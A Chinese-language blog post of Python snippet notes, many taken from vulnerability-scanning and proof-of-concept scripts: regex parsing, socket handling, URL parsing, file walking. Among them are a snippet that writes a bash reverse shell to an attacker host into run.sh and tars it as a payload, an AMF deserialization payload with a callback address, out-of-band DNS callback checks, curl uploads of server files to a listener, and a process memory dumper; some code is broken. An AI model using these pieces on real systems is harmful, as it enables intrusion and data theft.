python小代码

webserver接受文件上传

Ref:

  • https://floatingoctothorpe.uk/2017/receiving-files-over-http-with-python.html

这样是POST:

curl -i http://IP:8000 -F \"file=@/var/runtime/lib/LambdaJavaRTEntry-byol.jar\

这样是PUT:

curl -X PUT --upload-file /var/runtime/amzn-log4j-security-jdk8-0.1alpha.jar http://IP:8000
正则匹配

为了匹配这里的:

activemq.home=/home/cqq/repos/activemq/apache-activemq-5.11.1

activemq.home后面的路径,
使用以下方法:

# data是响应的内容
findword=r'activemq\.home=(.*?), '
pattern = re.compile(findword) 
results =  pattern.findall(data)
active_home_path = results[0]

第二例,
找到weblogic的版本:

    # eg. HELO:14.1.1.0.0.false\nAS:2048\nHL:19\nMS:10000000\nPN:DOMAIN\n\n
    # Ref: https://github.com/rabbitmask/WeblogicScan/blob/master/poc/Whoareu.py
    def get_version_by_t3(self, resp):
        return (re.findall(r'HELO:(.*?).false', resp.decode()))[0]
解决使用socket接收包的时候接收包有限的问题

使用socket调用send发送数据之后,接收数据,
不管这里的参数填多大:

s.recv(4092)

但是接收到的数据包长度有限制,无法完整接收响应:
在这里插入图片描述
使用以下方法可解决这个问题:

        s.send(payload.encode())
        data = ''
        #data=s.recv(4092)    # 2048个字节不够大,不稳定,导致出错!(认为在响应的前2048字节会出现需要的内容)

        while True:
            buf = s.recv(1024)
            if not buf:
                logger.info("Received!")
                break
            # 忽略错误:https://www.cnblogs.com/zz22--/p/8799071.html
            data += buf.decode(errors='ignore')


        logger.info(data)

在这里插入图片描述

pocsuite解析url

from urllib import parse

        target_url = self.url

        scheme = parse.urlparse(target_url).scheme
        #host, port = url2ip(target_url, True)
        # 解决一些对Host头是IP或域名解析不一样的问题
        host = parse.urlparse(target_url).hostname         # 当url传入的是带域名时,这里保留其域名,不解析
        
        # 1、如果url存在端口【默认】,则直接使用端口
        port = parse.urlparse(target_url).port

        # 2、如果url不存在端口,则根据schema使用默认端口
        if not port:
            if parse.urlparse(target_url).scheme == 'https':
                port = 443
            elif parse.urlparse(target_url).scheme == 'http':
                port = 80
                
        # 解析path,参考:https://blog.51cto.com/walkerqt/1766670
        # 如果url解析之后的path不为空,则取之;反之,取self.PATH
        parsed_path = parse.urlparse(target_url).path
        path = parsed_path if parsed_path else self.PATH

pocsuite判断端口开放情况

        host, port = url2ip(vul_url, True)

        logger.info("检查端口开放情况...")
        # 端口都不开放就不浪费时间了
        if not self.is_port_open(host, port):
            logger.info("端口不开放! 退出!")
            return

        logger.info("端口开放... 继续")

    def is_port_open(self, p_host, p_port):
        sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sk.settimeout(2)
        try:
            sk.connect((p_host, p_port))
            print('Server port is OK!')
        except Exception as e:    # 碰到异常认为端口未开放,返回False
            sk.close()
            return False
        
        sk.close()
        # 没问题就返回True
        return True

定位字符串并切割

想拿到这个字符串在某个特定字符串以前的所有字符串。比如abcdefg,想拿到d以及d之前的所有字符串:abcd。思路是想用str#find找到这个特定的字符块,然后根据这个字符块的长度,往后+length(str)即可。
参考:https://github.com/jas502n/CVE-2018-2894/blob/master/CVE-2018-2894.py

a = "C:\\Oracle\\Middleware12.2.1.3\\user_projects\\domains\\base_domain\\tmp\\WSTestPageWorkDir"
a[: a.find("base_domain") + 11]

把python代码修改成一句话

http://www.onelinerizer.com/

比如:

def f(x):
    return x * 4
y = f(5)
print y

变成:

(lambda __print, __g: [[(__print(y), None)[1] for __g['y'] in [(f(5))]][0] for __g['f'], f.__name__ in [(lambda x: (lambda __l: [(__l['x'] * 4) for __l['x'] in [(x)]][0])({}), 'f')]][0])(__import__('__builtin__', level=0).__dict__['print'], globals())

传输二进制数据并修改相应的长度

amf_payload = '\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\x11\x0a' + \
              '\x07\x33' + 'sun.rmi.server.UnicastRef' + struct.pack('>H', len(callback_IP)) + callback_IP + \
              struct.pack('>I', int(callback_port)) + \
              '\xf9\x6a\x76\x7b\x7c\xde\x68\x4f\x76\xd8\xaa\x3d\x00\x00\x01\x5b\xb0\x4c\x1d\x81\x80\x01\x00';

参考:https://www.exploit-db.com/exploits/43993

其中:

>>> struct.pack('>H', len(callback_IP))
b'\x00\x07'
>>> struct.pack('<H', len(callback_IP))
b'\x07\x00'
>>> struct.pack('>I', len(callback_IP))
b'\x00\x00\x00\x07'

其中的<和> 就是大端小端的问题。

bytes to hex

参考:https://stackoverflow.com/questions/6624453/whats-the-correct-way-to-convert-bytes-to-a-hex-string-in-python-3

>>> b'\xde\xad\xbe\xef'.hex()
'deadbeef'

逆向操作是:

>>> bytes.fromhex('deadbeef')
b'\xde\xad\xbe\xef'

正则匹配

想使用正则表达式来获取一段文本中的任意字符,写出如下匹配规则:
(.*)
结果运行之后才发现,无法获得换行之后的文本。于是查了一下手册,才发现正则表达式中,“.”(点符号)匹配的是除了换行符“\n”以外的所有字符。

以下为正确的正则表达式匹配规则:
([\s\S])
同时,也可以用 “([\d\D]
)”、“([\w\W]*)” 来表示。 Web技术之家_www.waweb.cn

在文本文件里, 这个表达式可以匹配所有的英文
/[ -~]/

参考:https://www.jb51.net/article/20654.htm

正则 提取HTml标签文本内容
参考:https://blog.csdn.net/weixin_42785547/article/details/86604762

应用:

>>> def find_and_print2( p_word):
...     results =  re.findall(r'<title>Apache Tomcat/(.*?)</title>', resp.text)
...     return (results[0] if results else '')
... 
>>> find_and_print2(findword)
'7.0.106'

>>> def find_and_print3( p_word):
...     results =  re.findall(r'<title>Apache Tomcat/.*?</title>', resp.text)
...     return (results[0] if results else '')
... 
>>> find_and_print3(findword)
'<title>Apache Tomcat/7.0.106</title>'

可见用()括起来的目的是拿到想要的文本。

>>> re.findall(r'dasd(.*)hgltlhl', a)
['asd92734234']
>>> type(re.findall(r'dasd(.*)hgltlhl', a))
<class 'list'>

拿到命令执行的结果

以weblogic的2551为例,

        jar_2551 = "2551.jar"
        command = "java -jar {0} {1} {2} http://{3}.{4}/cve_2020_2551".format(jar_2551, host, port, self.BANNER, self.DOMAIN)
        VULN_YES = "vul ok"
        VULN_NO  = "vul error"
        is_vuln = False

        print(command)
        #os.system(command)
        r = os.popen(command)

        info = r.readlines()    # 那命令执行结果以一个数组的形式读进来
        for i in info:
            logger.info(i)
        vuln_flag = info[2]
        if vuln_flag:
            if VULN_YES in vuln_flag:
                is_vuln = True
            elif VULN_NO in vuln_flag:
                is_vuln = False

设置socket的recv的超时

import socket
# ref: https://stackoverflow.com/questions/2719017/how-to-set-timeout-on-pythons-socket-recv-method
import select

		s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        socket.setdefaulttimeout(5)
        s.connect((host,port))

        s.send(payload.encode())

        # 设置recv的超时时间为5,下面代码代表等待5s,或者数据来临
        s.setblocking(0)
        ready = select.select([s], [], [], 5)

        if ready[0]:
            data=s.recv(1024)

            data = data.decode("utf-8")
            #print(data[9:12])   # HTTP状态码
            logger.info(data)

            if data[9] == '4' and 'ActiveMQRealm' in data:  # 响应4开头的状态码,则存在对ActiveMQ的basic认证提示
                return True

进制转化

>>> hex(7001)
'0x1b59'

将十进制的数转换成16进制的;
还可以有这种写法:

>>> '{:04x}'.format(7001)
'1b59'

只不过后面这种写法不带0x字样。
参考:https://github.com/shengqi158/CVE-2018-2628/blob/master/weblogic_poc.client1.for.scan-cve-2018-2628.py

list 转为string

list1 = [1, 2, 3]
str1 = ''.join(str(e) for e in list1)

定时任务

import schedule

def do_sth():
    os.system("ping test.d8b2055e3826ca2c7719.d.zhack.ca")

# 设置每2s执行一次
schedule.every(2).seconds.do(do_sth) 
# 执行定时任务
schedule.run_pending()

命令行快速在浏览器中打开指定url

Requests设置proxies

参考:https://stackoverflow.com/questions/30837839/how-can-i-set-a-single-proxy-for-a-requests-session-object

import requests
proxies = {'http': 'http://10.11.4.254:3128'}
s = requests.session()
s.proxies.update(proxies)
s.get("http://www.example.com") 

返回当前脚本所在工作目录

os.path.dirname(os.path.realpath(__file__))
$ python -m webbrowser -t "https://www.baidu.com"

生成四位随机数

# 来自:https://codeload.github.com/sqlmapproject/sqlmap/zip/0.6.2
def randomInt(length=4):
    """
    @param length: length of the random string.
    @type length: C{int}

    @return: a random string of digits.
    @rtype: C{str}
    """

    return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))

生成四位验证码

from itertools import product
rand_chrs="A2B3C4D5E6F7G8H9iJKLMNPQRSTUVWXYZ"
with open("codes.txt",'w') as f:
    for code in product(rand_chrs,rand_chrs,rand_chrs,rand_chrs):
        code = ''.join(list(code))
        print(code)
        f.write(code+'\n')
# $ ll codes.txt
-rw-rw-r-- 1 cqq cqq 5.7M Mar 21 00:16 codes.txt

获取随机字符串/hash

import hashlib, random, string
def get_hash():
    """获取随机字符串"""
    letters = string.ascii_letters
    rand = ''.join(random.sample(letters, 10))
    hash = hashlib.md5(rand.encode()).hexdigest()
    return hash

接收命令行参数的方法

在main()中

_, dex, apk, out_apk = sys.argv

参考:https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156

遍历目录下的文件的两种方法

参考:http://blog.51cto.com/laocao/525140

import os 
def Test1(rootDir): 
    list_dirs = os.walk(rootDir) 
    for root, dirs, files in list_dirs: 
        for d in dirs: 
            print os.path.join(root, d)      
        for f in files: 
            print os.path.join(root, f) 
def Test2(rootDir): 
    for lists in os.listdir(rootDir): 
        path = os.path.join(rootDir, lists) 
        print path 
        if os.path.isdir(path): 
            Test2(path) 
'''如果只需要根目录下的文件,则可以
'''
def Test11(rootDir): 
    list_dirs = os.walk(rootDir) 
    for root, dirs, files in list_dirs:      
        for f in files: 
            print os.path.join(root, f) 
'''若要返回列表,则可以
'''
def Test22(rootDir): 
    list_dirs = os.walk(rootDir)
    list_files = [] 
    for root, dirs, files in list_dirs:      
        for f in files: 
            return list_files.append(f) 

测试结果

>>> Test1('/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen')
/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen/combined
/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen/qr_thumb
/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen/combined/RSA认证SDK爆出两个高危漏洞CVE-2017-14377、CVE-2017-14378.png
/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen/qr_thumb/RSA认证SDK爆出两个高危漏洞CVE-2017-14377、CVE-2017-14378.png
>>> Test2('/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen')
/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen/combined
/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen/combined/RSA认证SDK爆出两个高危漏洞CVE-2017-14377、CVE-2017-14378.png
/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen/qr_thumb
/Users/caiqiqi/GitProjects/myself/weixin_qr_tool/gen/qr_thumb/RSA认证SDK爆出两个高危漏洞CVE-2017-14377、CVE-2017-14378.png

打印当前时间

In [2]: import time
In [6]: print list(time.localtime())
[2017, 10, 16, 13, 11, 46, 0, 289, 0]

在已有bash脚本中添加反弹shell的脚本

f = open('run.sh', 'w')
f.write('#!/bin/bash\n')
f.write('/bin/bash -i >& /dev/tcp/' + args.lhost + '/' + args.lport + ' 0>&1\n')
f.close()

# 最后添加执行权限
os.chmod('run.sh', 0777)

# 添加打包文件的功能
import tarfile

# 打开某gz文件,加入run.sh,然后关闭
tar = tarfile.open("root.tar.gz", "w:gz")
tar.add("run.sh")
tar.close()

# 读这个tar文件,并对读到的内容进行base64加密
with open("root.tar.gz", "rb") as tarfile:
tar64 = base64.b64encode(tarfile.read())

由命令行传参数作为文件名

参考:http://rickgray.me/2015/11/25/untrusted-deserialization-exploit-with-java.html

out_file = len(sys.argv) >=1 ?sys.argv[1]: "serialized.ser"

Java代码是这样的,

String outFile = (args.length!=0)? args[0]:"serialized.ser";

判断执行者是否root用户

import os
def is_running_as_root():
    return os.geteuid() == 0

获取linux发行版本

import platform
def get_linux_distribution():
    try:
        return platform.dist()[0].lower()
    except IndexError:
        return str()

demo

cqq@ubuntu:~$ python -c "import platform; print platform.dist()[0].lower()"
ubuntu

截屏

from PIL import ImageGrab
import os,time
# 截屏函数
def Screenshot():
	img = ImageGrab.grab()    # 这就截屏了,但是目前截屏的内容还在内存中
	saveas = os.path.join(time.strftime('%Y_%m_%d_%H_%m_%s') + '.png') # 已当前时间的特定格式并以.png后缀名保存截屏文件
	img.save(saveas)   # 真的保存到文件了
	imgout = "[*] Screenshot saved as " + str(saveas) + "\n"
	return  imgout 

# 截屏多次
# 参数:截屏数,截屏之间的时间间隔
def takeScreenshots(i, maxShots, intShots):
	shot = 0
	while shot < maxShots:
		shottime = time.strftime('%Y_%m_%d_%H_%m_%s')
		Screenshot()
		time.sleep(intShots)
		shot+=1
		imgsout = "[*] Saved" + str(maxShots) + "screenshot(s) at" shottime + "\n"
		return imgsout 

根据pid来dump进程的内容

def dump_process(pid):
    dump_result = bytes()

    with open('/proc/{}/maps'.format(pid), 'r') as maps_file:
        for l in maps_file.readlines():
            memrange, attributes = l.split(' ')[:2]
            if attributes.startswith('r'):
                memrange_start, memrange_stop = [
                    int(x, 16) for x in memrange.split('-')]
                memrange_size = memrange_stop - memrange_start
                with open('/proc/{}/mem'.format(pid), 'rb') as mem_file:
                    try:
                        mem_file.seek(memrange_start)
                        dump_result += mem_file.read(memrange_size)
                    except (OSError, ValueError, IOError, OverflowError):
                        pass

    return dump_result

得到某二进制文件/二进制流中的可打印字符

其中min_length为最小的可打印字符串长度

def strings(s, min_length=4):
    strings_result = list()
    result = str()

    for c in s:   # 对于s中的每一个
        try:
            c = chr(c)  #  用一个范围在range(256)内的(就是0~255)整数作参数,返回一个对应的字符。
        except TypeError:
            # In Python 2, c is already a chr
            pass
        if c in string.printable:  # 若c是可打印的(很多是不可打印的)
            result += c
        else:
            if len(result) >= min_length:
                strings_result.append(result)
            result = str()

    #return strings_result
    #print strings_result
    for i in strings_result:
        print i

判断操作系统

import sys
def tests_platform():
    if "linux" in sys.platform:
        pass
    elif "darwin" in sys.platform:
        pass
    elif "win" in sys.platform:
        print("Sorry, there is no support for windows right now.")
        sys.exit(1)

处理信号

import signal
def sigint_handler(signum, frame):
    print '\n user interrupt ! shutting down'
    shutdown()
signal.signal(signal.SIGINT, sigint_handler)

判断文件是否有某内容

先读文件,看文件中有没有指定的字符串,若有,则表示已经配置过了,若没有,则将字符串写入。

TorrcCfgString = """
VirtualAddrNetwork 10.0.0.0/10
AutomapHostsOnResolve 1
TransPort 9040
DNSPort 53
"""
Torrc = "/etc/tor/torrc"
	if TorrcCfgString in open(Torrc).read():
	    print t()+" Torrc file already configured"
	else:
		with open(Torrc, "a") as myfile:
			print t()+" Configuring torrc file.. ",
			myfile.write(TorrcCfgString)

得到当前IP

from urllib2 import urlopen
from json import load
def ip():
	while True:
		try:
			ipadd = load(urlopen('https://api.ipify.org?format=json'))['ip']
		except :
			continue
		break
	return ipadd

Demo

In [5]: from json import load

In [6]: ipadd = load(urlopen('https://api.ipify.org?format=json'))['ip']
---------------------------------------------------------------------------
NameError                                 Traceback (most recent call last)
<ipython-input-6-f9c124c66b26> in <module>()
----> 1 ipadd = load(urlopen('https://api.ipify.org?format=json'))['ip']

NameError: name 'urlopen' is not defined

In [7]: from urllib2 import urlopen

In [8]: ipadd = load(urlopen('https://api.ipify.org?format=json'))['ip']

In [9]: print ipadd
113.xxx.xx.xxx

得到当前当天的时间

import time
def t():
    current_time = time.localtime()
    ctime = time.strftime('%H:%M:%S', current_time)
    return "["+ ctime + "]"

得到命令行参数

args = sys.argv[1:]

若命令行参数数量不够,则打印help信息

if len(sys.argv) <= 1:
    print('\n%s -h for help.' % (sys.argv[0]))
    exit(0)

判断命令行的参数

若不为空,则直接赋值给全局变量,否则那个全局变量就为None吧

args = parser.parse_args()
url = args.url if args.url else None
cmd = args.cmd if args.cmd else None

脚本套路

先清一下屏,然后打印出logo

os.system("claer")
print banner

终端颜色

参考:
https://github.com/susmithHCK/torghost/blob/master/torghost

class bcolors:
    BLUE = '\033[94m'
    GREEN = '\033[92m'
    RED = '\033[31m'
    YELLOW = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    BGRED = '\033[41m'
    WHITE = '\033[37m'

判断目录是否存在,不存在则创建之

import os
FILE_PATH='html'
if not os.path.isdir(FILE_PATH):
        print 'dir not exists'
        #os.mkdir(FILE_PATH)    ##只能创建单级目录
        os.makedirs(FILE_PATH)  ##创建多级目录

调用子线程来执行shell

import subprocess as shell
#注意:对于有空格的命令,必须使用split()将命令分为两个,作为call的参数
cmd = "ls /Users/caiqiqi/GitProjects/".split()
shell.call(cmd)
#或者
output = shell.check_output(cmd)
print output

其中subprocess.call()是执行并得到返回值,并显示在标准输出中。而subprocess.check_output()得到标准输出中的结果。存储在一个字符串中,得print才能得到该output

正则re来匹配flag

import re
flag = 'dsadasCTF{youname}dasdad'
matched = re.search('CTF{.*}', flag)
if matched:
    print matched.group()
###
#CTF{youname}
#[Finished in 0.7s]

另外一种正则写法:

        findword=u"activemq\.home=.{100}"   #需要查找的特定中文字符串(认为最多100个字符串长度)
        pattern = re.compile(findword) 

        # 在返回的响应中查找
        results =  pattern.findall(data)
        for result in results:
            active_home_path = re.split(r',', result)[0]
            print(active_home_path)

使用requests用https协议时忽略warning

参考:
https://stackoverflow.com/a/28002687
首先当然是

import requests
requests.get(url, verify=False)

然后在之前加上

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

或者

# Disable SSL warnings
try:
    import requests.packages.urllib3
    requests.packages.urllib3.disable_warnings()
except Exception:
    pass

参考:
https://github.com/mazen160/struts-pwn_CVE-2017-9805/blob/master/struts-pwn.py

生成随机IP

import random; 
print  str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))

socket客户端

import socket
import sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

遍历一个list(为了拿到list的index)

a = ["a", "b", "c", "d"]
 
# index & value
for i in xrange(len(a)):
    print i, a[i]

遍历一个list(使用python自带enumerate)

a = ["a", "b", "c", "d"]
 
# iterate with index
for i, el in enumerate(a):
    print i, el

指定输出格式

import logging

logging.addLevelName(15, "INFO")
logger = logging.getLogger('nhentai')
LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout)
# 原来是在这里指定输出的格式啊
FORMATTER = logging.Formatter("\r[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S")
LOGGER_HANDLER.setFormatter(FORMATTER)
LOGGER_HANDLER.level_map[logging.getLevelName("INFO")] = (None, "cyan", False)
logger.addHandler(LOGGER_HANDLER)
logger.setLevel(logging.DEBUG)


if __name__ == '__main__':
    logger.log(15, 'nhentai')
    logger.info('info')
    logger.warn('warn')
    logger.debug('debug')

输出后的格式为:
这里写图片描述

Python的嵌套函数

参考:
https://stackabuse.com/python-nested-functions/
https://realpython.com/inner-functions-what-are-they-good-for/

只有外部函数被调用时,内部函数才能被调用。
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值